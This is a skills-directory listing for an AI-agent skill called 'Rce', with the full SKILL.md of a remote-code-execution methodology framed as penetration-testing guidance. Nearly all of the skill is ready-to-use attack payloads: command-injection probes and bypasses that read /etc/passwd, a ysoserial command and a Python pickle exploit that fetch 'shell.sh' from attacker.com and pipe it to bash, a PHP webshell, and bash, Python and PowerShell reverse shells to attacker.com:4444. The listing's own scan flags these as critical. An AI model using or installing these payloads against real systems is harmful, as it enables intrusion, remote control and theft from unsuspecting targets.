Skip to content
Back to skills

Rce

DSecurity

Remote Code Execution methodology covering command injection, deserialization, file upload RCE, and code injection in web applications. Includes reverse shell payloads and post-exploitation pivoting.

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentspythonjavaphpshellbashgit

Works with

  • cli

Security analysis

D59/100
  • criticalPipes output to a shell interpreter
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • criticalDownloads and executes remote scripts — classic supply chain attack

Pro shows the line behind each finding and how to fix it

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill rce --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Rce?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Rce
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-rce/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-rce)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: rce
description: Remote Code Execution methodology covering command injection, deserialization, file upload RCE, and code injection in web applications. Includes reverse shell payloads and post-exploitation pivoting.
version: 1.0.0
license: Apache-2.0
---

# Remote Code Execution (RCE)

## Command Injection

### Detection

```
; id
| id
&& id
` id `
$(id)
%0aid
```

Test in all user-controlled parameters that might reach OS commands: ping fields, domain lookup, file conversion tools, image processors, log viewers.

### Blind command injection (OOB)

```bash
; nslookup burpcollaborator.net
| curl http://burpcollaborator.net/`whoami`
$(curl http://burpcollaborator.net/$(id))
```

### Bypass techniques

```bash
# Space bypass
{cat,/etc/passwd}
cat${IFS}/etc/passwd
X=$'\x20'&&cat${X}/etc/passwd

# Quote bypass
c"a"t /etc/passwd
c'a't /etc/passwd

# Wildcard
/b?n/c?t /etc/passwd
```

## Deserialization RCE

**Java (ysoserial):**
```bash
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' | base64 -w0
```

**Python pickle:**
```python
import pickle, base64, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

print(base64.b64encode(pickle.dumps(Exploit())).decode())
```

**.NET (ViewState):**
Use YSoSerial.Net for ASP.NET ViewState/machineKey-based deserialization.

## File Upload RCE

1. Upload a PHP/ASPX/JSP webshell
2. Bypass extension filters: `.phtml`, `.php5`, `.pHp`, `file.php%00.jpg`
3. Bypass MIME type filters: set valid `Content-Type: image/jpeg` header
4. Find the uploaded file via directory bruteforce or error message disclosure
5. Execute commands via the webshell

**Simple PHP webshell:**
```php
<?php system($_GET['cmd']); ?>
```

## Reverse Shell Payloads

```bash
# Bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PowerShell
$c=New-Object Net.Sockets.TCPClient("attacker.com",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+">";$sb=[Text.Encoding]::ASCII.GetBytes($r2);$s.Write($sb,0,$sb.Length)}
```

## Tools

- [revshells.com](https://revshells.com) — reverse shell generator
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) — payload library
- Burp Suite — injection point discovery

## MITRE ATT&CK

- T1059 — Command and Scripting Interpreter
- T1190 — Exploit Public-Facing Application

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.